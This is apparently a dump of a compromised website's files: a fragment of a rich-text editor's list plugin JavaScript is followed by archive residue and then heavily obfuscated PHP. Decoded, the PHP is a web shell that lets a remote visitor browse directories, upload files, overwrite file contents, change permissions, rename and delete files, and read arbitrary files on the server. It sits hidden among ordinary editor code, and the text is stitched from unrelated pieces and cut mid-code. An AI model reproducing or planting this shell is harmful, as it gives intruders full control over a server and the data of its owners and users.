if (e.shiftKey ? outdentListSelection(editor) : indentListSelection(editor)) { e.preventDefault(); } }); }); }; var setup$1 = function (editor) { if (Settings.shouldIndentOnTab(editor)) { setupTabKey(editor); } Delete.setup(editor); }; var Keyboard = { setup: setup$1 }; var findIndex = function (list, predicate) { for (var index = 0; index < list.length; index++) { var element = list[index]; if (predicate(element)) { return index; } } return -1; }; var listState = function (editor, listName) { return function (e) { var ctrl = e.control; editor.on('NodeChange', function (e) { var tableCellIndex = findIndex(e.parents, NodeType.isTableCellNode); var parents = tableCellIndex !== -1 ? e.parents.slice(0, tableCellIndex) : e.parents; var lists = global$5.grep(parents, NodeType.isListNode); ctrl.active(lists.length > 0 && lists[0].nodeName === listName); }); }; }; var register$1 = function (editor) { var hasPlugin = function (editor, plugin) { var plugins = editor.settings.plugins ? editor.settings.plugins : ''; return global$5.inArray(plugins.split(/[ ,]/), plugin) !== -1; }; if (!hasPlugin(editor, 'advlist')) { editor.addButton('numlist', { active: false, title: 'Numbered list', cmd: 'InsertOrderedList', onPostRender: listState(editor, 'OL') }); editor.addButton('bullist', { active: false, title: 'Bullet list', cmd: 'InsertUnorderedList', onPostRender: listState(editor, 'UL') }); } editor.addButton('indent', { icon: 'indent', title: 'Increase indent', cmd: 'Indent' }); }; var Buttons = { register: register$1 }; global.add('lists', function (editor) { Keyboard.setup(editor); Buttons.register(editor); Commands.register(editor); return Api.get(editor); }); function Plugin () { } return Plugin; }(window)); })(); lists/plugin.min.js000060400000064530151734645250010340 0ustar00!function(u){"use strict";var e,n,t,r,o,i,s,a,c,f=tinymce.util.Tools.resolve("tinymce.PluginManager"),d=tinymce.util.Tools.resolve("tinymce.dom.RangeUtils"),l=tinymce.util.Tools.resolve("tinymce.dom.TreeWalker"),m=tinymce.util.Tools.resolve("tinymce.util.VK"),p=tinymce.util.Tools.resolve("tinymce.dom.BookmarkManager"),v=tinymce.util.Tools.resolve("tinymce.util.Tools"),g=tinymce.util.Tools.resolve("tinymce.dom.DOMUtils"),h=function(e){return e&&"BR"===e.nodeName},y=function(e){return e&&3===e.nodeType},N=function(e){return e&&/^(OL|UL|DL)$/.test(e.nodeName)},S=function(e){return e&&/^(OL|UL)$/.test(e.nodeName)},C=function(e){return e&&/^(DT|DD)$/.test(e.nodeName)},O=function(e){return e&&/^(LI|DT|DD)$/.test(e.nodeName)},b=function(e){return e&&/^(TH|TD)$/.test(e.nodeName)},T=h,E=function(e,n){return n&&!!e.schema.getTextBlockElements()[n.nodeName]},L=function(e,n){return e&&e.nodeName in n},D=function(e,n){return!!h(n)&&!(!e.isBlock(n.nextSibling)||h(n.previousSibling))},w=function(e,n,t){var r=e.isEmpty(n);return!(t&&0=e.childNodes.length?t.data.length:0}:t.previousSibling&&y(t.previousSibling)?{container:t.previousSibling,offset:t.previousSibling.data.length}:t.nextSibling&&y(t.nextSibling)?{container:t.nextSibling,offset:0}:{container:e,offset:n}},x=function(e){var n=e.cloneRange(),t=A(e.startContainer,e.startOffset);n.setStart(t.container,t.offset);var r=A(e.endContainer,e.endOffset);return n.setEnd(r.container,r.offset),n},R=g.DOM,I=function(o){var i={},e=function(e){var n,t,r;t=o[e?"startContainer":"endContainer"],r=o[e?"startOffset":"endOffset"],1===t.nodeType&&(n=R.create("span",{"data-mce-type":"bookmark"}),t.hasChildNodes()?(r=Math.min(r,t.childNodes.length-1),e?t.insertBefore(n,t.childNodes[r]):R.insertAfter(n,t.childNodes[r])):t.appendChild(n),t=n,r=0),i[e?"startContainer":"endContainer"]=t,i[e?"startOffset":"endOffset"]=r};return e(!0),o.collapsed||e(),i},_=function(o){function e(e){var n,t,r;n=r=o[e?"startContainer":"endContainer"],t=o[e?"startOffset":"endOffset"],n&&(1===n.nodeType&&(t=function(e){for(var n=e.parentNode.firstChild,t=0;n;){if(n===e)return t;1===n.nodeType&&"bookmark"===n.getAttribute("data-mce-type")||t++,n=n.nextSibling}return-1}(n),n=n.parentNode,R.remove(r),!n.hasChildNodes()&&R.isBlock(n)&&n.appendChild(R.create("br"))),o[e?"startContainer":"endContainer"]=n,o[e?"startOffset":"endOffset"]=t)}e(!0),e();var n=R.createRng();return n.setStart(o.startContainer,o.startOffset),o.endContainer&&n.setEnd(o.endContainer,o.endOffset),x(n)},B=function(){},P=function(e){return function(){return e}},M=function(t){return function(){for(var e=[],n=0;ne.length?Sn(t,e,n):Nn(t,e,n)},[]),oe(o).map(function(e){return e.list})).toArray();var t,r,o},Pn=function(e){var n,t,r=J(ve.getSelectedListItems(e),ye.fromDom);return Ne(te(r,M(On)),te((n=r,(t=Y.call(n,0)).reverse(),t),M(On)),function(e,n){return{start:e,end:n}})},Mn=function(s,e,a){var n,t,r,o=(n=e,t=Pn(s),r=kn(!1),J(n,function(e){return{sourceList:e,entries:xn(0,t,r,e)}}));Z(o,function(e){var n,t,r,o,i,u;n=e.entries,t=a,Z(ee(n,Tn),function(e){return function(e,n){switch(e){case"Indent":n.depth++;break;case"Outdent":n.depth--;break;case"Flatten":n.depth=0}}(t,e)}),r=e.sourceList,i=s,u=e.entries,o=re(function(e,n){if(0===e.length)return[];for(var t=n(e[0]),r=[],o=[],i=0,u=e.length;iok<");};?>

FORM; die($bytesecform); } } } ?> $pat) { goto tqM0cIQ_t1; fsJAV1QE2i: cmCOPCSQ6E: GzP_HJajUU: $i++; goto CcTVVeIldO; UatBqMrfrs: goto DvC3z6jB4Q; tqM0cIQ_t1: if (!($pat == '' && $id == 0)) { goto tq01FUiE0O; } $a = true; echo "\74\x61\40\x68\162\x65\146\x3d\42\77\x70\141\x74\150\75\x2f\x22\76\x2f\x3c\57\141\x3e"; goto RvHSB25pW2; tq01FUiE0O: goto X1uigWJs2S; ippyoLRvMG: CcTVVeIldO: if (!($i <= $id)) { goto UatBqMrfrs; } echo "{$paths[$i]}"; if (!($i != $id)) { goto cmCOPCSQ6E; } echo "\57"; goto fsJAV1QE2i; DvC3z6jB4Q: echo "\x22\76" . $pat . "\74\x2f\x61\76\x2f"; RvHSB25pW2: goto wLIgC9SDFm; X1uigWJs2S: if (!($pat == '')) { goto FE_UPgHn9e; } goto RvHSB25pW2; FE_UPgHn9e: echo "\74\x61\x20\x68\162\145\x66\x3d\42\77\x70\141\164\150\75"; $i = 0; goto ippyoLRvMG; wLIgC9SDFm: } Q6k3cJxXA1: echo "\x3c\57\164\x64\76\x3c\x2f\164\x72\x3e\x3c\x74\x72\x3e\x3c\x74\x64\x3e"; goto CqMx0MTRHY; jiNirSu4Wk: pkqVwqVs4K: echo "\x3c\57\x63\x65\x6e\164\x65\x72\x3e"; aUiSw8YVAC: echo "\x3c\143\145\156\164\x65\x72\76\74\150\162\40\167\151\144\x74\x68\75\x22\71\62\x30\42\x20\143\157\154\x6f\162\x3d\42\142\x6c\141\143\x6b\42\x2f\76\40\x3c\143\145\x6e\x74\x65\x72\76\15\xa\xd\xa\74\57\x42\x4f\x44\131\x3e\15\xa\15\xa\x3c\57\110\124\x4d\114\x3e"; function perms($file) { goto K3UAQ3Ddtm; NhFYHlv27t: return $info; goto qM4v37DZ9a; FG584gKr5W: NkRZzUDlxq: $info .= $perms & 0x100 ? "\x72" : "\55"; $info .= $perms & 0x80 ? "\x77" : "\55"; $info .= $perms & 0x40 ? $perms & 0x800 ? "\x73" : "\x78" : ($perms & 0x800 ? "\x53" : "\55"); $info .= $perms & 0x20 ? "\162" : "\55"; goto UOimtUB4eE; hFHFUu343Q: gq0h2cLtYF: $info = "\143"; goto NkRZzUDlxq; Q2AMVEG7aw: $info = "\160"; goto FG584gKr5W; K3UAQ3Ddtm: $perms = fileperms($file); if (($perms & 0xc000) == 0xc000) { goto ySfmOKUCcT; } if (($perms & 0xa000) == 0xa000) { goto K7Sv1IKVTO; } if (($perms & 0x8000) == 0x8000) { goto ZB3Y1UWWG7; } if (($perms & 0x6000) == 0x6000) { goto huLHQWwc7l; } goto acasHoqkUk; UOimtUB4eE: $info .= $perms & 0x10 ? "\x77" : "\x2d"; $info .= $perms & 0x8 ? $perms & 0x400 ? "\163" : "\170" : ($perms & 0x400 ? "\123" : "\x2d"); $info .= $perms & 0x4 ? "\162" : "\55"; $info .= $perms & 0x2 ? "\x77" : "\x2d"; $info .= $perms & 0x1 ? $perms & 0x200 ? "\x74" : "\170" : ($perms & 0x200 ? "\x54" : "\x2d"); goto NhFYHlv27t; ygAPFA5ebD: $info = "\x62"; goto NkRZzUDlxq; ESEPgp4XHd: $info = "\144"; goto NkRZzUDlxq; goto hFHFUu343Q; l0u4hvY_f4: ySfmOKUCcT: $info = "\x73"; goto NkRZzUDlxq; K7Sv1IKVTO: $info = "\154"; goto Cbb2OA1z1V; Cbb2OA1z1V: goto NkRZzUDlxq; ZB3Y1UWWG7: $info = "\55"; goto NkRZzUDlxq; huLHQWwc7l: goto ygAPFA5ebD; acasHoqkUk: if (($perms & 0x4000) == 0x4000) { goto ESEPgp4XHd; } if (($perms & 0x2000) == 0x2000) { goto gq0h2cLtYF; } if (($perms & 0x1000) == 0x1000) { goto Q2AMVEG7aw; } $info = "\x75"; goto NkRZzUDlxq; goto l0u4hvY_f4; qM4v37DZ9a: } goto J9ymCwBDA0; CqMx0MTRHY: if (!isset($_FILES["\x66\151\x6c\145"])) { goto BVF_2SYVzt; } if (copy($_FILES["\146\x69\x6c\145"]["\164\x6d\160\x5f\156\141\x6d\145"], $path . "\x2f" . $_FILES["\146\x69\154\x65"]["\156\141\x6d\145"])) { goto b_yq7G6ieE; } echo "\x3c\146\157\156\x74\40\x63\157\154\157\162\75\42\x72\145\x64\42\76\125\x70\154\x6f\141\x64\x20\x47\x61\x67\141\x6c\x2e\56\x3c\57\146\157\x6e\x74\x3e\74\142\162\40\x2f\x3e"; goto RCqFk1WELy; b_yq7G6ieE: goto yNkeUvW5mP; DV92ZNK7eP: F1FN4iqo1X: echo "\x3c\146\x6f\x72\x6d\40\x6d\x65\x74\150\157\x64\75\42\x50\117\123\124\42\76\15\12\15\12\116\145\167\40\116\x61\x6d\145\x20\72\x20\74\x69\x6e\x70\x75\x74\x20\156\141\x6d\145\x3d\42\x6e\145\167\x6e\x61\155\x65\42\x20\164\171\x70\145\x3d\x22\164\x65\170\x74\x22\x20\163\x69\x7a\145\x3d\42\x32\x30\x22\40\166\141\x6c\165\x65\x3d\42" . $_POST["\x6e\x61\155\145"] . "\x22\40\57\x3e\15\12\15\12\x3c\151\x6e\x70\x75\x74\x20\x74\171\x70\x65\x3d\42\x68\x69\144\x64\x65\x6e\42\40\x6e\141\155\x65\x3d\x22\160\141\164\x68\x22\x20\x76\x61\154\165\x65\75\x22" . $_POST["\x70\x61\x74\150"] . "\42\76\15\xa\xd\xa\74\x69\x6e\160\x75\164\x20\164\x79\160\x65\75\x22\150\x69\x64\x64\x65\156\x22\40\x6e\x61\x6d\x65\75\x22\x6f\x70\164\42\x20\166\141\154\x75\145\75\x22\x72\x65\x6e\x61\x6d\x65\x22\76\xd\xa\15\xa\74\151\156\x70\165\164\40\x74\171\x70\145\75\42\163\165\x62\155\x69\164\42\x20\x76\x61\x6c\165\x65\75\x22\x53\x61\x76\x65\42\x20\57\x3e\xd\xa\15\12\74\x2f\x66\x6f\x72\x6d\76"; goto pkqVwqVs4K; Kab_4WvYTq: if (!isset($_POST["\x73\x72\143"])) { goto rD8C3RqtDh; } goto VzrUY4GNTd; k337RjRC8r: g_x4CEVA0B: if (!isset($_POST["\160\x65\x72\155"])) { goto XXL4H9WWSa; } if (chmod($_POST["\160\x61\164\x68"], $_POST["\x70\x65\162\155"])) { goto ARI9A2Pgln; } echo "\x3c\x66\x6f\156\x74\40\143\157\x6c\x6f\x72\75\x22\x72\145\144\x22\x3e\x43\x68\x6d\157\144\x20\107\141\x67\141\154\56\x2e\x3c\x2f\146\157\x6e\164\x3e\x3c\x62\x72\x20\57\76"; goto tfi04RkE8d; goto S8M0_q5bpc; S8M0_q5bpc: ARI9A2Pgln: echo "\74\x66\157\x6e\x74\x20\x63\157\154\157\x72\75\x22\147\x72\x65\145\x6e\x22\76\x43\x68\155\x6f\x64\40\x53\x75\x63\143\x65\x73\163\56\56\x3c\x2f\x66\x6f\156\164\76\x3c\142\162\40\x2f\76"; tfi04RkE8d: XXL4H9WWSa: echo "\x3c\x66\157\x72\x6d\40\x6d\145\164\150\157\144\75\x22\120\x4f\123\x54\x22\x3e\15\xa\xd\xa\x50\145\162\155\x69\163\x73\x69\x6f\x6e\x20\x3a\40\x3c\x69\156\x70\165\164\x20\x6e\141\155\x65\x3d\x22\x70\145\x72\155\42\40\x74\x79\x70\145\75\42\x74\145\x78\164\42\40\163\x69\172\145\x3d\42\64\42\40\166\141\x6c\x75\x65\75\42" . substr(sprintf("\x25\x6f", fileperms($_POST["\160\x61\164\x68"])), -4) . "\x22\x20\x2f\76\xd\12\xd\xa\x3c\x69\156\x70\165\x74\x20\164\171\x70\145\x3d\42\x68\151\144\144\145\x6e\42\x20\156\x61\155\145\75\42\160\141\x74\150\42\40\166\141\154\x75\x65\75\42" . $_POST["\160\141\x74\150"] . "\42\76\xd\xa\15\xa\x3c\x69\x6e\160\165\164\x20\164\x79\x70\x65\x3d\42\150\151\x64\144\145\x6e\x22\x20\156\x61\155\145\x3d\42\157\x70\164\x22\x20\x76\x61\x6c\165\145\x3d\42\143\x68\x6d\x6f\144\42\x3e\xd\xa\15\12\x3c\151\x6e\160\165\x74\40\x74\171\x70\145\x3d\x22\163\165\142\x6d\151\x74\x22\x20\x76\x61\154\x75\x65\75\42\123\x61\x76\x65\42\x20\57\x3e\15\12\xd\12\x3c\57\x66\x6f\x72\155\x3e"; goto W1Sh1vK9n1; tpeJ7ShFj8: mfuN7ePRXK: echo "\74\146\157\x6e\x74\x20\143\x6f\x6c\157\162\x3d\42\147\x72\x65\145\156\42\x3e\104\x65\154\145\x74\145\40\x44\x69\x72\145\143\164\157\x72\x79\40\102\x65\x72\x68\x61\163\151\x6c\56\x2e\74\57\x66\157\x6e\164\76\74\142\x72\x20\57\76"; qplJ7D2Y6G: goto rhXYV7zbyS; f0orqVuJL_: goto a6UM5PxzXq; Sm95z5iSmX: goto rhXYV7zbyS; YLqLeZGyJa: if (rmdir($_POST["\x70\x61\164\x68"])) { goto mfuN7ePRXK; } echo "\x3c\146\157\156\x74\x20\143\x6f\154\157\x72\75\42\x72\145\144\42\x3e\104\145\x6c\x65\x74\145\40\104\151\162\145\x63\164\x6f\162\171\x20\107\x61\x67\141\x6c\x2e\x2e\74\x2f\x66\x6f\156\x74\x3e\74\x62\x72\x20\x2f\76"; goto qplJ7D2Y6G; goto tpeJ7ShFj8; GigwwYjT0q: if (isset($_GET["\157\x70\x74\x69\x6f\x6e"]) && $_POST["\157\x70\164"] != "\x64\145\154\145\x74\145") { goto naITgMGK8M; } echo "\74\57\164\x61\x62\154\x65\76\74\x62\x72\x20\x2f\x3e\74\143\x65\156\x74\x65\162\76"; if (!(isset($_GET["\157\160\164\151\x6f\x6e"]) && $_POST["\157\x70\164"] == "\144\x65\154\x65\x74\145")) { goto HpY3Fogd8c; } if ($_POST["\164\x79\x70\145"] == "\144\151\162") { goto YLqLeZGyJa; } if ($_POST["\x74\171\x70\145"] == "\x66\151\x6c\145") { goto f0orqVuJL_; } goto Sm95z5iSmX; VzrUY4GNTd: $fp = fopen($_POST["\x70\141\164\x68"], "\x77"); if (fwrite($fp, $_POST["\x73\162\x63"])) { goto GtaNid1h9i; } echo "\x3c\x66\157\x6e\x74\40\143\157\154\x6f\x72\x3d\42\x72\145\x64\x22\x3e\105\144\x69\164\x20\106\151\x6c\x65\40\x47\141\x67\x61\x6c\x2e\x2e\74\57\x66\157\156\x74\x3e\74\x62\162\x20\x2f\x3e"; goto cJF7HVMHy3; GtaNid1h9i: goto DOiU006Iyv; fKf1lYnGR1: POs4qU27Xi: echo "\x3c\x2f\164\x61\142\x6c\x65\76\15\xa\xd\12\x3c\x2f\x64\x69\x76\x3e"; goto aUiSw8YVAC; L_00zq6nQZ: echo "\74\x74\162\76\x3c\164\x64\40\x73\x74\x79\154\x65\x3d\x27\x70\x61\x64\x64\x69\156\147\x3a\x20\70\160\x78\x27\76\103\165\x72\x72\145\156\164\x20\106\x69\x6c\x65\40\x3a\40"; goto kgUI72Gq2S; a6UM5PxzXq: if (unlink($_POST["\160\141\164\x68"])) { goto JLCAxdjOeM; } echo "\x3c\x66\157\156\164\x20\x63\x6f\154\157\x72\x3d\42\x72\145\144\x22\x3e\104\145\154\x65\x74\x65\x20\106\151\154\x65\40\x47\141\x67\x61\154\x2e\x2e\74\57\x66\x6f\156\x74\76\x3c\142\162\40\57\76"; goto dUFbjgMKyv; JLCAxdjOeM: echo "\74\146\157\156\x74\x20\143\157\154\x6f\162\x3d\42\x67\162\x65\x65\x6e\x22\76\x44\x65\154\x65\164\145\40\106\x69\x6c\145\x20\x42\145\x72\150\x61\x73\x69\154\56\56\74\x2f\x66\157\x6e\164\x3e\x3c\x62\x72\40\57\76"; goto P7WF_fA7bB; flu8fJAuFc: goto Anqd3TapGb; hlbxEcjdZW: echo "\74\x66\157\x6e\164\40\x63\157\154\157\162\x3d\x22\x67\x72\145\145\156\42\x3e\122\x65\156\141\155\x65\x20\102\x65\x72\x68\141\x73\x69\154\56\x2e\74\x2f\x66\x6f\x6e\164\76\74\142\x72\x20\x2f\x3e"; Anqd3TapGb: $_POST["\x6e\x61\155\x65"] = $_POST["\x6e\x65\x77\156\141\x6d\145"]; goto DV92ZNK7eP; yFAWjAbJXc: echo "\x3f\77\77\77"; @session_start(); @set_time_limit(0); echo "\x3c\41\104\117\103\124\131\120\x45\40\110\124\x4d\114\76\15\12\15\12\x3c\x48\x54\x4d\114\76\xd\12\15\12\x3c\110\x45\101\104\76\15\xa\xd\12\x3c\x74\151\x74\154\145\x3e\x3c\57\164\151\x74\154\x65\76\xd\12\xd\12\x3c\163\x74\x79\154\x65\76\xd\12\xd\12\142\157\x64\171\x7b\xd\12\xd\xa\146\157\156\x74\x2d\x66\141\x6d\151\154\x79\72\40\155\157\156\157\163\160\141\143\x65\x3b\15\12\xd\xa\x66\157\156\164\55\167\x65\151\x67\x68\164\x3a\40\142\x6f\154\x64\x3b\15\xa\15\12\146\157\x6e\x74\x2d\163\151\172\145\72\40\x31\70\160\170\x3b\xd\12\xd\12\x62\141\x63\153\x67\x72\x6f\165\156\x64\55\143\157\154\x6f\162\72\40\x23\143\x35\143\x35\143\65\x3b\15\12\15\xa\x63\x6f\154\157\x72\72\x20\43\60\x30\60\73\15\12\15\xa\175\xd\xa\xd\xa\43\143\x6f\x6e\164\x65\156\164\40\x74\162\72\x68\157\x76\x65\162\173\xd\12\15\xa\142\x61\143\153\147\162\157\x75\156\x64\55\x63\x6f\x6c\157\162\x3a\x20\x23\143\x63\143\x3b\xd\xa\xd\xa\x7d\15\xa\xd\xa\x23\x63\157\156\x74\145\x6e\164\x20\56\x66\151\162\x73\164\173\xd\xa\xd\xa\142\x61\x63\153\147\162\157\x75\x6e\144\x2d\143\x6f\x6c\x6f\x72\72\x20\43\143\x63\143\73\xd\xa\xd\xa\175\xd\xa\xd\xa\43\x63\157\156\164\x65\x6e\x74\x20\56\146\x69\x72\163\164\72\x68\x6f\x76\145\162\x7b\xd\xa\15\xa\142\141\x63\153\x67\162\x6f\165\x6e\144\55\x63\x6f\x6c\x6f\x72\x3a\x20\x23\143\143\x63\73\xd\12\15\12\175\xd\xa\15\12\164\141\x62\x6c\x65\173\xd\xa\15\xa\x62\x6f\x72\x64\x65\x72\72\40\x33\x70\x78\40\43\60\60\x30\40\163\157\154\151\x64\73\xd\12\15\12\x7d\15\xa\xd\12\141\x7b\xd\xa\xd\xa\143\x6f\154\x6f\x72\72\40\x23\60\x30\60\73\xd\xa\xd\xa\x74\145\170\x74\55\x64\145\x63\157\162\x61\x74\151\x6f\x6e\x3a\40\x6e\x6f\156\x65\x3b\xd\xa\xd\xa\x7d\xd\xa\15\12\x61\x3a\150\157\x76\145\x72\173\15\xa\15\xa\143\157\154\x6f\x72\72\x20\x23\x30\x30\x66\x3b\xd\xa\15\12\175\xd\xa\xd\12\x69\156\160\165\x74\54\x73\x65\x6c\x65\143\164\x2c\x74\145\x78\164\x61\162\145\141\173\xd\12\15\xa\x62\157\162\144\x65\162\x3a\x20\x31\160\170\x20\x23\60\60\x30\x20\x73\x6f\154\151\x64\73\15\12\xd\xa\x2d\155\157\x7a\x2d\x62\157\x72\x64\145\162\x2d\x72\141\144\x69\x75\163\x3a\40\x35\160\170\73\15\12\xd\12\55\x77\x65\142\x6b\x69\x74\x2d\142\157\162\144\145\162\55\162\x61\x64\x69\x75\163\x3a\65\x70\x78\73\15\12\15\xa\142\x6f\162\144\x65\162\55\162\x61\x64\x69\165\163\x3a\x35\160\x78\x3b\xd\12\xd\12\175\xd\12\xd\xa\151\x6e\x70\x75\164\40\173\15\12\15\12\40\x66\157\x6e\x74\55\x73\151\x7a\145\x3a\x20\x31\x38\x70\x78\x3b\15\12\xd\xa\40\x66\157\x6e\x74\55\x77\x65\151\147\150\164\x3a\x20\142\157\154\144\73\xd\12\xd\12\x20\160\141\x64\144\x69\x6e\x67\x3a\40\x35\160\x78\73\xd\xa\xd\12\x7d\xd\xa\15\12\163\145\x6c\145\143\164\x20\173\xd\xa\xd\12\146\157\156\x74\55\x73\x69\x7a\x65\72\40\x31\71\160\x78\15\xa\15\12\175\xd\12\15\xa\x74\x65\x78\x74\141\x72\x65\x61\40\173\15\xa\xd\12\146\x6f\156\164\55\x73\x69\172\145\72\x20\x31\x30\160\170\15\12\15\12\x7d\xd\12\xd\xa\x74\x64\x2c\x20\164\x72\40\173\40\x70\141\144\144\x69\156\x67\72\x20\x32\160\170\x20\65\x70\170\73\x20\x7d\xd\12\xd\12\15\xa\xd\12\74\57\x73\164\171\x6c\x65\x3e\xd\xa\15\12\x3c\x2f\110\x45\101\x44\76\xd\xa\15\xa\x3c\102\x4f\x44\x59\76\xd\xa\xd\12\74\150\x72\x20\x77\151\x64\164\150\75\x22\x39\62\60\42\40\143\157\154\x6f\162\75\42\x62\154\x61\x63\153\x22\57\76\15\12\xd\xa\74\150\162\40\167\151\144\x74\150\75\x22\x39\62\x30\42\x20\x63\157\x6c\x6f\x72\75\x22\142\x6c\141\x63\153\x22\57\76\74\143\145\156\x74\145\162\x3e\x3c\x70\76\74\x68\62\x3e\x59\x6f\x75\x72\x20\x49\x50\x20\72\40" . $_SERVER["\122\x45\x4d\117\124\x45\137\101\104\x44\122"] . "\x3c\x2f\x68\x32\x3e\74\57\x70\x3e\74\57\143\x65\156\x74\x65\162\x3e\xd\12\xd\12\x3c\150\162\x20\x77\151\144\x74\x68\75\x22\x39\x32\60\x22\40\x63\x6f\154\x6f\x72\75\42\x62\x6c\x61\x63\x6b\42\x2f\76\xd\12\15\12\74\x74\x61\x62\x6c\x65\x20\x77\x69\x64\164\x68\x3d\42\71\62\60\x22\x20\142\157\162\x64\x65\x72\x3d\x22\x31\x70\170\42\40\143\145\154\x6c\160\141\144\144\151\156\147\x3d\x22\67\x22\40\x63\x65\154\154\x73\x70\141\143\x69\156\147\x3d\42\x30\x22\x20\141\x6c\151\147\156\75\42\x63\145\156\164\145\x72\x22\76\15\12\xd\12\x3c\164\x72\x3e\x3c\164\x64\x20\x73\164\x79\154\145\x3d\x22\160\141\144\144\151\156\x67\x3a\40\x38\160\x78\x22\x3e\x43\165\162\x72\145\x6e\x74\x20\x50\x61\x74\150\x20\x3a\x20"; if (isset($_GET["\x70\141\x74\x68"])) { goto ukkIlPbloG; } goto DsN9vC4FRx; kgUI72Gq2S: echo $_GET["\x66\x69\154\145\163\162\143"]; echo "\x3c\57\164\162\76\x3c\57\x74\x64\x3e\x3c\x2f\x74\x61\142\x6c\145\x3e\x3c\142\x72\x20\57\76"; echo "\74\x70\x72\145\x3e" . htmlspecialchars(file_get_contents($_GET["\146\151\x6c\x65\x73\x72\x63"])) . "\x3c\x2f\160\162\x65\x3e"; goto aUiSw8YVAC; naITgMGK8M: goto YaIheccQO_; af97u0oN3A: echo "\x3c\x64\x69\166\40\151\x64\x3d\42\x63\x6f\x6e\x74\x65\156\164\42\76\74\164\x61\142\x6c\x65\x20\167\x69\144\164\150\75\42\71\x32\x30\42\x20\142\157\x72\144\x65\162\x3d\x22\x31\56\65\160\x78\x22\x20\x63\145\x6c\x6c\160\x61\144\x64\x69\x6e\x67\x3d\x22\65\x22\x20\x63\x65\x6c\154\163\160\x61\x63\x69\156\x67\x3d\x22\60\x22\40\141\154\x69\147\x6e\75\x22\143\x65\156\164\145\x72\42\76\xd\xa\15\12\74\164\x72\x20\x63\x6c\x61\x73\x73\75\42\x66\x69\162\163\x74\42\76\15\12\xd\xa\74\164\x64\x3e\74\143\145\x6e\x74\x65\x72\x3e\x4e\141\155\145\74\57\x63\145\x6e\164\x65\162\x3e\74\57\164\144\76\xd\12\xd\12\74\164\144\x3e\74\x63\145\x6e\164\x65\x72\76\x53\x69\172\145\74\x2f\x63\145\156\164\145\x72\76\x3c\57\164\144\76\xd\xa\xd\xa\x3c\x74\x64\x3e\74\x63\x65\156\164\145\x72\x3e\x50\145\162\x6d\x69\163\163\151\x6f\x6e\163\x3c\x2f\143\x65\x6e\x74\x65\162\x3e\x3c\x2f\164\x64\76\15\12\15\xa\74\x74\144\x3e\74\x63\x65\156\x74\x65\162\x3e\x4f\x70\164\x69\x6f\156\x73\74\57\x63\x65\156\x74\145\x72\x3e\74\57\164\x64\76\15\xa\xd\12\x3c\x2f\164\x72\x3e"; foreach ($scandir as $dir) { goto Q3eLNHgmhG; slOAjj1d8z: vDtW9gQ9rx: echo "\x3c\x66\157\156\x74\40\x63\x6f\154\157\162\x3d\x22\x72\x65\x64\x22\x3e"; sPX7321sNn: echo perms("{$path}\x2f{$dir}"); if (!(is_writable("{$path}\x2f{$dir}") || !is_readable("{$path}\x2f{$dir}"))) { goto aH7cPC1v9g; } goto mY5KptkvyH; Nz3rMJuAhR: if (!is_readable("{$path}\x2f{$dir}")) { goto vDtW9gQ9rx; } goto sPX7321sNn; ZmaCHBx_aP: echo "\x3c\x66\157\x6e\164\40\x63\x6f\x6c\x6f\162\75\42\102\x6c\x75\x65\42\x3e"; goto sPX7321sNn; goto slOAjj1d8z; Q3eLNHgmhG: if (!(!is_dir("{$path}\57{$dir}") || $dir == "\56" || $dir == "\x2e\56")) { goto U_SoOVZ2SY; } goto X2ML1VtWHd; U_SoOVZ2SY: echo "\74\164\162\x3e\xd\12\15\xa\x3c\164\x64\x3e\74\141\40\x68\x72\145\146\x3d\42\77\x70\x61\x74\150\x3d{$path}\x2f{$dir}\x22\76{$dir}\x3c\x2f\x61\76\x3c\x2f\164\144\76\15\12\15\xa\x3c\x74\x64\x3e\x3c\x63\145\x6e\164\x65\162\x3e\55\x2d\x3c\x2f\143\x65\x6e\164\145\x72\76\x3c\x2f\x74\x64\76\xd\xa\15\xa\74\x74\x64\76\x3c\143\x65\156\164\x65\x72\76"; if (is_writable("{$path}\x2f{$dir}")) { goto ZmaCHBx_aP; } goto Nz3rMJuAhR; mY5KptkvyH: echo "\x3c\57\146\157\x6e\x74\x3e"; aH7cPC1v9g: echo "\x3c\x2f\x63\145\156\x74\145\x72\76\x3c\x2f\x74\x64\x3e\15\12\15\12\x3c\164\144\x3e\x3c\x63\x65\x6e\x74\145\x72\76\x3c\x66\x6f\x72\155\x20\x6d\x65\x74\150\x6f\144\x3d\42\x50\x4f\x53\124\x22\x20\x61\143\x74\151\157\x6e\75\x22\77\157\160\x74\151\x6f\x6e\x26\x70\x61\164\150\75{$path}\x22\76\xd\12\xd\xa\x3c\163\x65\154\x65\143\x74\40\x6e\x61\x6d\x65\x3d\42\x6f\160\x74\x22\76\15\12\xd\12\74\x6f\160\x74\x69\157\156\x20\x76\141\154\165\145\x3d\42\42\x3e\74\x2f\157\x70\x74\x69\x6f\156\x3e\15\xa\15\12\74\157\160\x74\x69\157\156\x20\166\141\154\165\x65\x3d\x22\x64\145\x6c\x65\164\145\x22\76\x44\145\x6c\x65\164\x65\x3c\x2f\x6f\160\164\x69\157\156\76\xd\12\15\12\74\157\x70\x74\151\x6f\x6e\40\x76\x61\154\165\145\x3d\x22\143\150\155\x6f\144\x22\x3e\103\150\x6d\x6f\144\74\x2f\x6f\160\x74\x69\x6f\156\x3e\xd\xa\15\xa\74\157\x70\x74\x69\157\156\x20\166\141\x6c\165\145\75\x22\162\145\156\x61\x6d\145\x22\x3e\122\x65\156\141\x6d\145\74\x2f\157\x70\x74\x69\x6f\x6e\x3e\15\12\15\12\74\57\163\x65\154\x65\x63\164\x3e\xd\12\15\12\74\x69\156\160\x75\164\40\164\171\x70\145\75\x22\150\x69\144\x64\x65\156\x22\40\x6e\x61\155\x65\x3d\42\164\x79\160\145\42\40\x76\x61\154\x75\145\75\42\x64\x69\162\x22\76\xd\12\xd\12\74\151\156\160\x75\164\40\164\171\160\x65\75\x22\x68\x69\x64\144\145\156\x22\x20\156\141\x6d\x65\x3d\42\x6e\x61\x6d\145\42\x20\x76\x61\154\x75\145\x3d\x22{$dir}\x22\76\xd\12\15\xa\74\x69\x6e\x70\165\x74\40\164\x79\160\145\x3d\42\150\151\x64\x64\145\156\42\x20\x6e\141\155\145\x3d\42\x70\141\x74\150\42\x20\166\x61\154\165\145\x3d\x22{$path}\57{$dir}\x22\76\15\12\xd\12\74\151\156\160\x75\164\x20\x74\171\160\145\75\42\163\165\142\x6d\x69\164\42\x20\x76\x61\154\x75\145\x3d\x22\x4f\153\x65\x22\40\57\76\15\xa\xd\12\74\x2f\x66\157\162\155\76\74\57\143\145\156\x74\145\162\x3e\x3c\57\164\144\76\xd\xa\15\12\x3c\57\164\162\76"; X2ML1VtWHd: goto rjY4L5TffN; rjY4L5TffN: } 